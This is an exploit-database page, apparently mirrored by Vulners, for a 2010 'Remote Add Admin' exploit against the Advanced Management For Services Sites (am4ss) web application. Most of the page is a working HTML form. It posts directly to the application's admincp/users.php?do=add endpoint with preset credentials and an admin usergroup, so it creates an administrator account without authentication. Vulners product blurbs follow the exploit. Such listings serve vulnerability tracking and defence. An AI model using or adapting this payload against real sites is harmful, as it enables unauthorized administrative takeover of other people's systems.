Lucene search
K

Advanced Management For Services Sites - Remote Add Admin

🗓️ 03 Apr 2010 00:00:00Reported by alnjm33Type 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 35 Views

Advanced Management For Services Sites - Remote Add Admin vulnerability on sec-war.co

Code
 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Exploit Title : Advneced Management For Services Sites Remote add admin exploit
Author: alnjm33
Software Link: http://am4ss.com/am4ss.zip
Tested on: Version 1.0
My home : Sec-war.com
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
==========================================Dork==========================================
                                          find it
================================Exploit=============================================
<html dir="rtl">
<head>
<meta http-equiv="Content-Language" content="en-us">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>sec-war.com</title>
</head>
<body text="#00FF00" bgcolor="#000000">
<form method="post" action="http://localhost/am4ss//admincp//users.php?do=add">
    <p align="center"><b><br>
    login with </b></p>
    <p align="center"><a href="mailto:[email protected]"><font color="#C0C0C0">
    [email protected]</font></a></p>
    <p align="center"><b>pass</b></p>
    <p align="center">123456</p>
    <table class="tborder" id="table32" style="BORDER-COLLAPSE: separate" cellSpacing="0" cellPadding="4" width="90%" align="center" border="0">
        <colgroup span="2">
            <col style="WIDTH: 45%"><col style="WIDTH: 55%">
        </colgroup>
        <thead>
            <tr>
                <td class="tcat" align="middle" colSpan="2" height="27"><b>add new admin </b>
                </td>
            </tr>
        </thead>
        <tr vAlign="top">
            <td class="optiontitle" colSpan="2">
            <p align="center"> </td>
        </tr>
        <tbody id="tbody_bbtitle">
            <tr vAlign="top">
                <td class="alt1" width="45%">
                <div class="smallfont">
                    <p align="center">Name*</div>
                </td>
                <td class="alt1" width="52%">
                <p align="center">
                <input class="bginput" dir="rtl" tabIndex="1" size="40" name="userfullname" value="Security War">
                </td>
            </tr>
            <tr vAlign="top">
                <td class="optiontitle" colSpan="2">
                <div>
                    <p align="center"> </div>
                </td>
            </tr>
        <tbody id="tbody_bbtitle">
            <tr vAlign="top">
                <td class="alt1" width="45%">
                <p align="center">PASS must me*</td>
                <td class="alt1" width="52%">
                <p align="center">
                <input class="bginput" dir="rtl" tabIndex="1" type="password" size="40" name="password" value="123456"><span lang="fr"> 
                </span></td>
            </tr>
            <tr vAlign="top">
                <td class="optiontitle" colSpan="2">
                <div>
                    <p align="center"> </div>
                </td>
            </tr>
        <tbody id="tbody_bbtitle">
            <tr vAlign="top">
                <td class="alt1" width="45%">
                <div class="smallfont">
                    <p align="center">username email *</div>
                </td>
                <td class="alt1" width="52%">
                <p align="center">
                <input class="bginput" dir="rtl" tabIndex="1" size="40" name="useremail" value="[email protected]"><span lang="fr"> 
                </span></td>
            </tr>
            <tr vAlign="top">
                <td class="optiontitle" colSpan="2">
                 </td>
            </tr>
        <tbody id="tbody_bbtitle">
            <tr vAlign="top">
                <td class="alt1" width="45%">
                <div class="smallfont">
                    <p align="center"><font face="Tahoma">forget it i made it
                    egypt</font></div>
                </td>
                <td class="alt1" width="52%">
                <p align="center">
                <select class="Edits" style="width: 181; height: 53" name="country" size="99" tabindex="10">
                <option value="ET"></option>
                <option>--   --</option>
                <option value="MA"> </option>
                <option value="EG" selected></option>
                </select> <span lang="fr">  </span></td>
            </tr>
            <tr vAlign="top">
                <td class="optiontitle" colSpan="2">
                <div>
                    <p align="center"> </div>
                </td>
            </tr>
        <tbody id="tbody_bbtitle">
            <tbody id="tbody_bbtitle">
            <tr vAlign="top">
                <td class="alt1" width="45%">
                <div class="smallfont">
                    <p align="center"><font face="Tahoma">forget it i made it
                    admin </font></div>
                </td>
                <td class="alt1" width="52%">
                <p align="center">
                <select name="usergroup" size="1" tabindex="1">
                <option value="3"></option>
                <option value="2"></option>
                <option value="1"></option>
                </select> <span lang="fr">  </span></td>
            </tr>
            <tbody id="tbody_bbtitle">
            <tr>
                <td class="tfoot" align="middle" colSpan="2">
                <input class="button" id="submit" type="submit" value="ok add  "> 
                </td>
            </tr>
    </table>
    <input type="hidden" name="do" value="save">
</form>
</body>
</html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Apr 2010 00:00Current
7.4High risk
Vulners AI Score7.4
35